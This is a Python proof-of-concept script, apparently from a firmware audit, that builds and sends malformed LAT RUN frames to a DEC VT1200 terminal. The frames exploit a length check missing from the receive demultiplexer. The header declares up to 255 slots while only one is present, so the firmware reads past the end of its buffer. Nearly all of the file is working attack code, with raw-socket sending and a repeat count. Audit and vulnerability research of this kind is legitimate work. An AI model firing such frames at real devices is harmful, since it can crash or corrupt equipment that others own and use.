#!/usr/bin/env python3
"""Craft and send LAT frames at the VT1200 to exercise the receive path.

Finding A (see ../notes/lat-receive-audit.md): the firmware's demultiplexer at
0x16C44 walks `nbr_slots` (LAT header byte 1) slots with **no length bound** —
its only exit is `index >= nbr_slots`, and the slot advance comes from the
per-slot `byte_count` (LAT slot byte 2).  So a RUN message can declare more
slots (and/or bigger byte counts) than the frame actually carries, and the
firmware will keep walking past the end of the received buffer, acting on
whatever it finds.

Wire layout (confirmed from lat/local/vt-session.pcap + packet-lat.c):

    Eth: dst(6) src(6) ethertype(0x6004)
    LAT+0   flags/type      (master=0x02, message type = byte >> 2)
    LAT+1   nbr_slots
    LAT+2   dst circuit id  (LE16)
    LAT+4   src circuit id  (LE16)
    LAT+6   msg sequence
    LAT+7   msg acknowledgment
    LAT+8   dst slot id
    LAT+9   src slot id
    LAT+10  slot byte count
    LAT+11  credits(hi nibble) | slot type(lo nibble)
    LAT+12  slot data (byte_count bytes)
    ...     next slot

Usage:
    sudo python3 lat_probe.py --nbr-slots 255 --dry-run
    sudo python3 lat_probe.py --nbr-slots 255 --count 5
"""
import argparse
import socket
import struct
import sys

ETHERTYPE_LAT = 0x6004
MASTER = 0x02
MSG_RUN = 0

SLOT_DATA_A = 0x0
SLOT_START = 0x9
SLOT_STOP = 0xA

VT1200_MAC = "08:00:2b:16:4b:5a"


def mac_bytes(s):
    return bytes(int(x, 16) for x in s.split(":"))


def build_run(dst_mac, src_mac, nbr_slots, slots,
              dst_cir=0x0001, src_cir=0x5460, seq=0, ack=0):
    """Build an Ethernet+LAT RUN frame.

    `slots` is a list of (dst_slot, src_slot, byte_count, credits, slot_type, data).
    `nbr_slots` is written verbatim — set it larger than len(slots) to exercise
    the unbounded demultiplexer.
    """
    lat = bytearray()
    lat.append(MASTER | (MSG_RUN << 2))
    lat.append(nbr_slots & 0xFF)
    lat += struct.pack("<H", dst_cir & 0xFFFF)
    lat += struct.pack("<H", src_cir & 0xFFFF)
    lat.append(seq & 0xFF)
    lat.append(ack & 0xFF)
    for (ds, ss, bc, cr, st, data) in slots:
        lat.append(ds & 0xFF)
        lat.append(ss & 0xFF)
        lat.append(bc & 0xFF)
        lat.append(((cr & 0xF) << 4) | (st & 0xF))
        lat += data

    frame = bytearray()
    frame += mac_bytes(dst_mac)
    frame += mac_bytes(src_mac)
    frame += struct.pack(">H", ETHERTYPE_LAT)
    frame += lat
    if len(frame) < 60:                      # Ethernet minimum
        frame += b"\x00" * (60 - len(frame))
    return bytes(frame)


def parse_frame(frame):
    """Inverse of build_run, for tests and for reading captures."""
    assert struct.unpack_from(">H", frame, 12)[0] == ETHERTYPE_LAT
    lat = frame[14:]
    out = {
        "flags": lat[0],
        "type": lat[0] >> 2,
        "master": bool(lat[0] & MASTER),
        "nbr_slots": lat[1],
        "dst_cir": struct.unpack_from("<H", lat, 2)[0],
        "src_cir": struct.unpack_from("<H", lat, 4)[0],
        "seq": lat[6],
        "ack": lat[7],
        "slots": [],
    }
    off = 8
    for _ in range(lat[1]):
        if off + 4 > len(lat):
            break
        ds, ss, bc, ct = lat[off], lat[off + 1], lat[off + 2], lat[off + 3]
        out["slots"].append((ds, ss, bc, ct >> 4, ct & 0xF,
                             bytes(lat[off + 4:off + 4 + bc])))
        off += 4 + bc
    return out


def send(frame, iface):
    s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(ETHERTYPE_LAT))
    s.bind((iface, 0))
    s.send(frame)
    s.close()


def main(argv=None):
    ap = argparse.ArgumentParser(description=__doc__,
                                 formatter_class=argparse.RawDescriptionHelpFormatter)
    ap.add_argument("--dst", default=VT1200_MAC, help="target MAC (the VT1200)")
    ap.add_argument("--src", default="2c:16:db:a0:e7:b1", help="source MAC (this host)")
    ap.add_argument("--iface", default="enp197s0f3u1")
    ap.add_argument("--nbr-slots", type=lambda s: int(s, 0), default=255,
                    help="value written to the header nbr_slots (default 255)")
    ap.add_argument("--byte-count", type=lambda s: int(s, 0), default=4,
                    help="byte_count for the single real slot (default 4)")
    ap.add_argument("--slot-type", type=lambda s: int(s, 0), default=SLOT_DATA_A,
                    help="slot type for the real slot (0=Data_a)")
    ap.add_argument("--data", default="41414141", help="slot data, hex")
    ap.add_argument("--count", type=int, default=1, help="send N frames")
    ap.add_argument("--dst-cir", type=lambda s: int(s, 0), default=0x0001,
                    help="destination circuit id (from the live capture)")
    ap.add_argument("--src-cir", type=lambda s: int(s, 0), default=0x5460,
                    help="source circuit id (from the live capture)")
    ap.add_argument("--seq", type=lambda s: int(s, 0), default=0)
    ap.add_argument("--ack", type=lambda s: int(s, 0), default=0)
    ap.add_argument("--dry-run", action="store_true", help="print, do not send")
    args = ap.parse_args(argv)

    real_slots = [(1, 1, args.byte_count, 0, args.slot_type, bytes.fromhex(args.data))]
    frame = build_run(args.dst, args.src, args.nbr_slots, real_slots,
                      dst_cir=args.dst_cir, src_cir=args.src_cir,
                      seq=args.seq, ack=args.ack)

    print(f"frame: {len(frame)} bytes; nbr_slots={args.nbr_slots} "
          f"but only {len(real_slots)} slot(s) present "
          f"({args.byte_count} data bytes) -> demux walks "
          f"{args.nbr_slots - len(real_slots)} past the end")
    print("  " + frame[14:14 + 32].hex(" "))

    if args.dry_run:
        print("(dry run: not sent)")
        return 0
    for i in range(args.count):
        send(frame, args.iface)
        print(f"  sent {i + 1}/{args.count}")
    return 0


if __name__ == "__main__":
    sys.exit(main())